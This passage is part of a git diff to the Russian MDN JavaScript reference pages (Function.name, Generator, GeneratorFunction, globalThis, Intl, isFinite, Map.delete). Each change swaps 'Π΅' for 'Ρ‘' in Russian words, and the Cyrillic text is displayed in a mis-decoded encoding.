-<h3 id="Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹Π΅_ΠΈΠΌΠ΅Π½Π°_ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²">Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²</h3>
+<h3 id="Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹Π΅_ΠΈΠΌΠ΅Π½Π°_ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²">Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²</h3>
<pre class="brush: js"><code>var o = {
foo(){}
@@ -129,7 +129,7 @@ console.log(fooInstance.constructor.name); // logs "Foo"</code>
}
</code></pre>
-<p>Π‘ΠΎΒ <code>static name()</code>Β ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>Foo.name</code> большС Π½Π΅ содСрТит Π½Π°Π·Π²Π°Π½ΠΈΠ΅ класса, Π½ΠΎ отсылаСт ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>name()</code>. ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π²Ρ‹ΡˆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ класса Π²Β ES2015 Π±ΡƒΠ΄Π΅Ρ‚ вСсти сСбя в Chrome ΠΈ Firefx ΠΊΠ°ΠΊ Π²Β  ES5:</p>
+<p>Π‘ΠΎΒ <code>static name()</code>Β ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>Foo.name</code> большС Π½Π΅ содСрТит Π½Π°Π·Π²Π°Π½ΠΈΠ΅ класса, Π½ΠΎ отсылаСт ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>name()</code>. ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π²Ρ‹ΡˆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ класса Π²Β ES2015 Π±ΡƒΠ΄Π΅Ρ‚ вСсти сСбя в Chrome ΠΈ Firefx ΠΊΠ°ΠΊ Π²Β  ES5:</p>
<pre><code>function Foo() {}
Object.defineProperty(Foo, 'name', { writable: true });
@@ -189,7 +189,7 @@ if (b.constructor.name === 'Foo') {
console.log('Oops!');
}</code></pre>
-<p>Π’ нСсТатой вСрсии ΠΊΠΎΠ΄ выполняСтся ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΒ <code>"'foo' is an instance of 'Foo'"</code>. Π’ Ρ‚ΠΎ врСмя, ΠΊΠ°ΠΊ Π² сТатой вСрсии ΠΎΠ½ Π²Π΅Π΄Π΅Ρ‚ сСбя иначС. Если Π²Ρ‹ ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚Π΅ΡΡŒ Π½Π°Β <code>Function.name</code>, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Ρ‚ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ pipeline Π½Π΅ мСняСт ΠΊΠΎΠ΄ ΠΈΠ»ΠΈ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°ΠΉΡ‚Π΅ ΠΎΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ.</p>
+<p>Π’ нСсТатой вСрсии ΠΊΠΎΠ΄ выполняСтся ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΒ <code>"'foo' is an instance of 'Foo'"</code>. Π’ Ρ‚ΠΎ врСмя, ΠΊΠ°ΠΊ Π² сТатой вСрсии ΠΎΠ½ Π²Π΅Π΄Ρ‘Ρ‚ сСбя иначС. Если Π²Ρ‹ ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚Π΅ΡΡŒ Π½Π°Β <code>Function.name</code>, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Ρ‚ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ pipeline Π½Π΅ мСняСт ΠΊΠΎΠ΄ ΠΈΠ»ΠΈ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°ΠΉΡ‚Π΅ ΠΎΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ.</p>
<table class="standard-table">
<tbody>
diff --git a/files/ru/web/javascript/reference/global_objects/generator/index.html b/files/ru/web/javascript/reference/global_objects/generator/index.html
index 8e530ff328..41498f0dfa 100644
--- a/files/ru/web/javascript/reference/global_objects/generator/index.html
+++ b/files/ru/web/javascript/reference/global_objects/generator/index.html
@@ -40,7 +40,7 @@ console.log(generator().next().value); // 1</pre>
<dt>{{jsxref("Generator.prototype.return()")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ Π·Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°Π΅Ρ‚ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€.</dd>
<dt>{{jsxref("Generator.prototype.throw()")}}</dt>
- <dd>Π’Ρ‹Π΄Π°Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π°.</dd>
+ <dd>Π’Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π°.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/generator/throw/index.html b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html
index cfdf5d3bbc..77b096e858 100644
--- a/files/ru/web/javascript/reference/global_objects/generator/throw/index.html
+++ b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html
@@ -26,11 +26,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw
<li><code>done</code> (boolean)
<ul>
- <li>Π˜ΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code> Ссли iterator ΠΏΡ€ΠΎΡˆΠ΅Π» ΠΊΠΎΠ½Π΅Ρ† ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π’ этом случаС <code>value</code> ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ опрСдСляСтся Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ <em>return value</em> Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Π° .</li>
+ <li>Π˜ΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code> Ссли iterator ΠΏΡ€ΠΎΡˆΡ‘Π» ΠΊΠΎΠ½Π΅Ρ† ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π’ этом случаС <code>value</code> ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ опрСдСляСтся Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ <em>return value</em> Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Π° .</li>
<li>Π˜ΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>false</code> Ссли iterator ΠΈΠΌΠ΅Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π­Ρ‚ΠΎ Ρ€Π°Π²Π½ΠΎΡΠΈΠ»ΡŒΠ½ΠΎ ΠΊΠΎΠ³Π΄Π° свойство done Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ.</li>
</ul>
</li>
- <li><code>value</code> - любоС JavaScript Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅,Β  Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° <em><code>done</code> === <code>true</code></em>.</li>
+ <li><code>value</code> - любоС JavaScript Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅,Β  Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° <em><code>done</code> === <code>true</code></em>.</li>
</ul>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html
index 4cce9504e9..56264cb71d 100644
--- a/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html
+++ b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
---
<div>{{JSRef}}</div>
-<p><strong><code>GeneratorFunction</code> constructor</strong> создаСт Π½ΠΎΠ²Ρ‹ΠΉΒ {{jsxref("Statements/function*", "generator function")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Π’ JavaScript каТдая функция-Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Β - это фактичСски <code>GeneratorFunction</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
+<p><strong><code>GeneratorFunction</code> constructor</strong> создаёт Π½ΠΎΠ²Ρ‹ΠΉΒ {{jsxref("Statements/function*", "generator function")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Π’ JavaScript каТдая функция-Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Β - это фактичСски <code>GeneratorFunction</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
<p><code>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ GeneratorFunction</code>Β - это Π½Π΅ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Он ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π°.</p>
@@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
<dl>
<dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
- <dd>ИмСна, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½Π° Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².Β ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ строкой, которая соотвСтствуСт ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌΡƒΒ JavaScript ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρƒ ΠΈΠ»ΠΈ списком Ρ‚Π°ΠΊΠΈΡ… строк, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми; Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "<code>x</code>", "<code>theValue</code>", ΠΈΠ»ΠΈΒ "<code>a,b</code>".</dd>
+ <dd>ИмСна, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½Π° Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².Β ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ строкой, которая соотвСтствуСт ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌΡƒΒ JavaScript ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρƒ ΠΈΠ»ΠΈ списком Ρ‚Π°ΠΊΠΈΡ… строк, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми; Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "<code>x</code>", "<code>theValue</code>", ΠΈΠ»ΠΈΒ "<code>a,b</code>".</dd>
<dt><code>functionBody</code></dt>
<dd>A string containing the JavaScript statements comprising the function definition.</dd>
</dl>
diff --git a/files/ru/web/javascript/reference/global_objects/globalthis/index.html b/files/ru/web/javascript/reference/global_objects/globalthis/index.html
index ce4cb48419..0f12223b46 100644
--- a/files/ru/web/javascript/reference/global_objects/globalthis/index.html
+++ b/files/ru/web/javascript/reference/global_objects/globalthis/index.html
@@ -83,6 +83,6 @@ if (typeof globals.setTimeout !== 'function') {
<h3 id="ΠŸΡ€ΠΎΠ³Ρ€Π΅ΡΡ_Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ">ΠŸΡ€ΠΎΠ³Ρ€Π΅ΡΡ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ</h3>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΎ Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½ΠΎΠ΅ состояниС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эта функция Π΅Ρ‰Π΅ Π½Π΅ достигла ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π”Π°Π½Π½Ρ‹Π΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Π΅ΠΌ запуска ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… тСстов Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈΒ Π²Β <a href="https://github.com/tc39/test262">Test262</a>, стандартном Π½Π°Π±ΠΎΡ€Π΅ тСстов JavaScript, Π² Π½ΠΎΡ‡Π½ΠΎΠΉ сборкС ΠΈΠ»ΠΈ Π² послСднСй вСрсии Π΄Π²ΠΈΠΆΠΊΠ° JavaScript ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΎ Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½ΠΎΠ΅ состояниС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эта функция Π΅Ρ‰Ρ‘ Π½Π΅ достигла ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π”Π°Π½Π½Ρ‹Π΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Ρ‘ΠΌ запуска ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… тСстов Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈΒ Π²Β <a href="https://github.com/tc39/test262">Test262</a>, стандартном Π½Π°Π±ΠΎΡ€Π΅ тСстов JavaScript, Π² Π½ΠΎΡ‡Π½ΠΎΠΉ сборкС ΠΈΠ»ΠΈ Π² послСднСй вСрсии Π΄Π²ΠΈΠΆΠΊΠ° JavaScript ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
<p>{{EmbedTest262ReportResultsTable("globalThis")}}</p>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/index.html b/files/ru/web/javascript/reference/global_objects/intl/index.html
index 4316488c58..cb0df3d472 100644
--- a/files/ru/web/javascript/reference/global_objects/intl/index.html
+++ b/files/ru/web/javascript/reference/global_objects/intl/index.html
@@ -47,7 +47,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Intl
<li><code>"zh-Hans-CN"</code>: ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΉ китайский, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² ΠšΠΈΡ‚Π°Π΅.</li>
</ul>
-<p>ΠŸΠΎΠ΄ΠΌΠ΅Ρ‚ΠΊΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠ΅ языки, ΠΏΠΈΡΡŒΠΌΠ΅Π½Π½ΠΎΡΡ‚ΠΈ, страны (Ρ€Π΅Π³ΠΈΠΎΠ½Ρ‹) ΠΈ (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½Π΅ часто) Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ Π² языковых ΠΌΠ΅Ρ‚ΠΊΠ°Ρ… BCP 47 ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΉΠ΄Π΅Π½Ρ‹ Π² <a href="http://www.iana.org/assignments/language-subtag-registry">РССстрС языковых ΠΏΠΎΠ΄ΠΌΠ΅Ρ‚ΠΎΠΊ IANA</a>.</p>
+<p>ΠŸΠΎΠ΄ΠΌΡ‘Ρ‚ΠΊΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠ΅ языки, ΠΏΠΈΡΡŒΠΌΠ΅Π½Π½ΠΎΡΡ‚ΠΈ, страны (Ρ€Π΅Π³ΠΈΠΎΠ½Ρ‹) ΠΈ (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½Π΅ часто) Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ Π² языковых ΠΌΠ΅Ρ‚ΠΊΠ°Ρ… BCP 47 ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΉΠ΄Π΅Π½Ρ‹ Π² <a href="http://www.iana.org/assignments/language-subtag-registry">РССстрС языковых ΠΏΠΎΠ΄ΠΌΡ‘Ρ‚ΠΎΠΊ IANA</a>.</p>
<p>BCP 47 Ρ‚Π°ΠΊΠΆΠ΅ позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, ΠΈ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Π½ΠΈΡ… ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ JavaScript: это Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ <code>"u"</code> (Unicode). Оно ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π½ΠΈΡ настраиваСмого языка-зависимого повСдСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{jsxref("Global_Objects/Collator", "Collator")}}, {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}} ΠΈΠ»ΠΈ {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}. ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹:</p>
diff --git a/files/ru/web/javascript/reference/global_objects/isfinite/index.html b/files/ru/web/javascript/reference/global_objects/isfinite/index.html
index eb1c6ee465..dcce428701 100644
--- a/files/ru/web/javascript/reference/global_objects/isfinite/index.html
+++ b/files/ru/web/javascript/reference/global_objects/isfinite/index.html
@@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/isFinite
<p><code>isFinite</code> это функция Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня ΠΈ ΠΎΠ½Π° Π½Π΅ связана Π½ΠΈ с ΠΎΠ΄Π½ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Ρ‚Π°ΠΌ, Π³Π΄Π΅ трСбуСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, являСтся Π»ΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΌ числом. Ѐункция <code>isFinite</code> исслСдуСт число Π² своСм ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅. Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ являСтся NaN, ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ»ΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π±Π΅ΡΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΡΡ‚ΡŒΡŽ, ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Π΅Ρ€Π½Π΅Ρ‚ <code>false</code>; ΠΈΠ½Π°Ρ‡Π΅ возвращаСтся <code>true</code>.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Ρ‚Π°ΠΌ, Π³Π΄Π΅ трСбуСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, являСтся Π»ΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΌ числом. Ѐункция <code>isFinite</code> исслСдуСт число Π² своём ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅. Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ являСтся NaN, ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ»ΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π±Π΅ΡΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΡΡ‚ΡŒΡŽ, ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code>; ΠΈΠ½Π°Ρ‡Π΅ возвращаСтся <code>true</code>.</p>
<h2 id="Examples" name="Examples">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -59,7 +59,7 @@ isFinite(2e64); // true
isFinite("0"); // true, Π½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ false Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ
- // Π±ΠΎΠ»Π΅Π΅ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Number.isFinite("0")
+ // Π±ΠΎΠ»Π΅Π΅ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Number.isFinite("0")
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/map/delete/index.html b/files/ru/web/javascript/reference/global_objects/map/delete/index.html
index f9e6cb1cf4..dfa69f8edb 100644
--- a/files/ru/web/javascript/reference/global_objects/map/delete/index.html
+++ b/files/ru/web/javascript/reference/global_objects/map/delete/index.html
@@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
